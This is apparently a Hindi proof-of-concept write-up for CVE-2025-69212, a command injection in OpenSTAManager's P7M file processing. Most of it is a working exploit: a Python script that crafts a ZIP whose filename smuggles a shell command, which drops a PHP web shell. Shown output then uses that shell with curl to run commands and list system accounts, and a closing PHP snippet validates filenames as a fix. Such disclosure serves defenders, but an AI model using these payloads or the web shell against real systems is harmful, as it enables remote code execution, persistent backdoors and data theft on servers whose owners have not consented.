
CVE-2025-69212 का प्रूफ ऑफ कॉन्सेप्ट (PoC), जो P7M फ़ाइल प्रोसेसिंग से संबंधित है
| डेटा | विवरण |
|---|---|
| CVE ID | CVE-2025-69212 |
| भेद्यता स्कोर | critical (9.4) |
| CWE | 78: OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण |
| प्रभावित संस्करण | OpenSTAManager <= 2.9.8 |
| हमले का वेक्टर | दुर्भावनापूर्ण फ़ाइलनाम वाली .p7m फ़ाइल से युक्त ZIP फ़ाइल अपलोड करना |
| प्रमाणीकरण | आवश्यक |
| प्रभाव | सर्वर पर मनमाने सिस्टम कमांड निष्पादित करना |
import zipfile
import time
print("Creating zip file...")
time.sleep(1)
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_file, b"")
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
कमांड निष्पादन के बाद XML पार्सिंग विफल हो जाती है
HTTP/1.1 500 Internal Server Error
"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"
www-data
lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'
root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin
| हमला | विवरण |
|---|---|
| रिमोट कोड निष्पादन | कमांड निष्पादन के साथ पूर्ण सर्वर समझौता |
| डेटा चोरी | सभी एप्लिकेशन डेटा और डेटाबेस तक पहुँच |
| विशेषाधिकार वृद्धि | यदि वेब सर्वर उच्च विशेषाधिकारों के साथ चलता है या भेद्य है तो संभावित वृद्धि |
| स्थायित्व | बैकडोर स्थापित करें और समय के साथ पहुँच बनाए रखें |
| पार्श्व गति | नेटवर्क पर अन्य सिस्टम/उपयोगकर्ताओं की ओर पिवट करें |
**एक सरल समाधान यह है कि प्रोसेसिंग से पहले फ़ाइलनामों को मान्य करें (अमान्य फ़ाइलनामों को छोड़ने के लिए केवल अल्फ़ान्यूमेरिक, डॉट, डैश और अंडरस्कोर की अनुमति दें)
foreach ($files_xml as $xml) {
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue;
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
(या आप बस अपडेट कर सकते हैं lol)